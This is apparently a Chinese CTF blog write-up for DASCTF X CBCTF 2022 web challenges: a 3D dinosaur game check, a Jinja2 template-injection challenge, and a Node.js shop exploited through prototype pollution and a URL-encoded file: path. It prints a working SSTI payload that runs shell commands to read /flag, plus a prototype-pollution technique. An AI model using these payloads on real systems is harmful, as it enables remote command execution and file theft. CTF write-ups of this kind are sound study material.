DASCTF X CBCTF 2022九月挑战赛

有所收获

dino3d

前端js小游戏,像是google小恐龙的3D版

抓包可以发现后端会有个check.php检测

后端看不到逻辑,就先审审前端js的代码,f12抓包可以发现是由bulid.min.js发起的

我们跟一下,再搜索找到了sn函数,请求体的逻辑也在这

下个断点调试一下,可以发现checkCode的值

并且,我们还可以知道调用sn的函数

直接控制台传值

Text Reverser

浅搜一下,发现是外国的一道原题改编的

https://pankas.top/2022/07/25/dicectf-hope-web%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/

这道题多了过滤手段,但不多,简单fuzz一下,发现双{ {不可以,网上搜一下可以用{ % + print绕过

payload = '''{%print(''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("nl /flag").read()'))%}'''[::-1]
print(payload)

读文件过滤了cat我直接用nl读了

cbshop

也是国外的一道题改编过来的,nodejs的题,不得不说,老外真喜欢js啊

https://nanimokangaeteinai.hateblo.jp/entry/2022/08/09/022238#Web-209-simplewaf-28-solves

https://viblo.asia/p/corctf-2022-writeup-part-1-m68Z0Joj5kG

这里感叹一下,google真好用

给了源码

const fs = require('fs');
const express = require('express');
const session = require('express-session');
const bodyParse = require('body-parser');
const app = express();
const PORT = process.env.PORT || 80;
const SECRET = process.env.SECRET || "cybershop_challenge_secret"

const adminUser = {
username: "admin",
password: "😀admin😀",
money: 9999
};

app.use(bodyParse.urlencoded({extended: false}));
app.use(express.json());
app.use(session({
secret: SECRET,
saveUninitialized: false,
resave: false,
cookie: { maxAge: 3600 * 1000 }
}));
app.use(express.static("static"));

app.get('/isLogin', function(req, res) {
if(req.session.username) {
return res.json({
code: 2,
username: req.session.username,
money: req.session.money
});
}else{
return res.json({code: 0, msg: 'Please login!'});
}
});


app.post('/login', function(req, res) {
let username = req.body.username;
let password = req.body.password;
if (typeof username !== 'string' || username === '' || typeof password !== 'string' || password === '') {
return res.json({code: 4, msg: 'illegal username or password!'})
}

if(username === adminUser.username && password === adminUser.password.substring(1,6)) {//only admin need password
req.session.username = username;
req.session.money = adminUser.money;
return res.json({
code: 1,
username: username,
money: req.session.money,
msg: 'admin login success!'
});
}
req.session.username = username;
req.session.money = 10;
return res.json({
code: 1,
username: username,
money: req.session.money,
msg: `${username} login success!`
});
});

app.post('/changeUsername', function(req, res) {
if(!req.session.username) {
return res.json({
code: 0,
msg: 'please login!'
});
}
let username = req.body.username;
if (typeof username !== 'string' || username === '') {
return res.json({code: 4, msg: 'illegal username!'})
}
req.session.username = username;
return res.json({
code: 2,
username: username,
money: req.session.money,
msg: 'Username change success'
});
});

//购买商品的接口
function buyApi(user, product) {
let order = {};
if(!order[user.username]) {
order[user.username] = {};
}

Object.assign(order[user.username], product);

if(product.id === 1) { //buy fakeFlag
if(user.money >= 10) {
user.money -= 10;
Object.assign(order, { msg: fs.readFileSync('/fakeFlag').toString() });
}else{
Object.assign(order,{ msg: "you don't have enough money!" });
}
}else if(product.id === 2) { //buy flag
if(user.money >= 11 && user.token) { //do u have token?
if(JSON.stringify(product).includes("flag")) {
Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
}else{
user.money -= 11;
Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
}
}else {
Object.assign(order,{ msg: "nononono!" });
}
}else {
Object.assign(order,{ code: 0, msg: "no such product!" });
}
Object.assign(order, { username: user.username, code: 3, money: user.money });
return order;
}

app.post('/buy', function(req, res) {
if(!req.session.username) {
return res.json({
code: 0,
msg: 'please login!'
});
}
var user = {
username: req.session.username,
money: req.session.money
};
var order = buyApi(user, req.body);
req.session.money = user.money;
res.json(order);
});

app.get('/logout', function(req, res) {
req.session.destroy();
return res.json({
code: 0,
msg: 'logout success!'
});
});

app.listen(PORT, () => {console.log(`APP RUN IN ${PORT}`)});

给了用户名和密码,但是在后面又会发现把密码截断了,并且是个emoji,我们得编码再传,这里直接在控制台操作

有9999这么多钱,我们发现依然买不了flag,继续往下看

...
...
}else if(product.id === 2) { //buy flag
if(user.money >= 11 && user.token) { //do u have token?
if(JSON.stringify(product).includes("flag")) {
Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
}else{
user.money -= 11;
Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
}
}else {
Object.assign(order,{ msg: "nononono!" });
}
}else {
Object.assign(order,{ code: 0, msg: "no such product!" });
}
Object.assign(order, { username: user.username, code: 3, money: user.money });
return order;
}

可以看到这个if里多了个token判断,但是我们向前找发现user并没有这个属性,当然他不可能凭空存在,我们可以想到,js会向上去找他原型链寻找这个参数,注意看这里

Object.assign(order[user.username], product);

这个username可以改,我们可控,而这个assing又是一个合并的操作,存在原型链污染,我们使username=__proto__,将product合并到order原型上,orderuser原型又都是Object。这样我们就可以构造出token参数

然后我们发现,这里过滤掉了flag关键字,并提示去看readFileSync这个函数,但是不影响我们读其他文件,如下

这里我们跟着分析一下readFileSync

https://github.com/nodejs/node/blob/main/lib/fs.js#L452

function readFileSync(path, options) {
options = getOptions(options, { flag: 'r' });
const isUserFd = isFd(path); // File descriptor ownership
const fd = isUserFd ? path : fs.openSync(path, options.flag, 0o666);
...

下面是读文件的操作,我们主要跟进openSync

function openSync(path, flags, mode) {
path = getValidatedPath(path);
const flagsNumber = stringToFlags(flags);
mode = parseFileMode(mode, 'mode', 0o666);

const ctx = { path };
const result = binding.open(pathModule.toNamespacedPath(path),
flagsNumber, mode,
undefined, ctx);
handleErrorFromBinding(ctx);
return result;
}

这里有个getValidatedPath似乎是获取文件路径,继续跟

function getValidatedPath (fileURLOrPath) {
const path = fileURLOrPath != null && fileURLOrPath.href
&& fileURLOrPath.origin
? fileURLToPath(fileURLOrPath)
: fileURLOrPath
return path
}

需要fileURLOrPath & href & origin都不为空,接着看fileURLOrPath

function fileURLToPath(path) {
if (typeof path === 'string')
path = new URL(path);
else if (!isURLInstance(path))
throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path);
if (path.protocol !== 'file:')
throw new ERR_INVALID_URL_SCHEME('file');
return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path);
}
function isURLInstance(fileURLOrPath) {
return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin;
}

这里需要path.protocol == 'file:',才能走到return,这里在isURLInstance也能发现那三个值不能为null,因为是linux的环境,跟后面一个

function getPathFromURLPosix(url) {
if (url.hostname !== '') {
throw new ERR_INVALID_FILE_URL_HOST(platform);
}
const pathname = url.pathname;
for (let n = 0; n < pathname.length; n++) {
if (pathname[n] === '%') {
const third = pathname.codePointAt(n + 2) | 0x20;
if (pathname[n + 1] === '2' && third === 102) {
throw new ERR_INVALID_FILE_URL_PATH(
'must not include encoded / characters'
);
}
}
}
return decodeURIComponent(pathname);
}

首先要url.hostname == ''绕过if,这里可以发现它对传入的pathname进行了URL解码的操作,刚好看文档我们知道fs.readFileSync是接受URL参数的

所以我们可以将flag进行编码绕过if检查,并且不影响读文件操作

并且要满足之前说到的几个参数条件

  • pathname urlencode
  • file.origin exists
  • file.href exists
  • file.protocol = 'file:'
  • file.hostname = ''

DASCTF X CBCTF 2022九月挑战赛

https://lhxhl.github.io/2022/09/22/2022DASCTF SEP/

作者

秋秋晚

发布于

2022-09-22

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...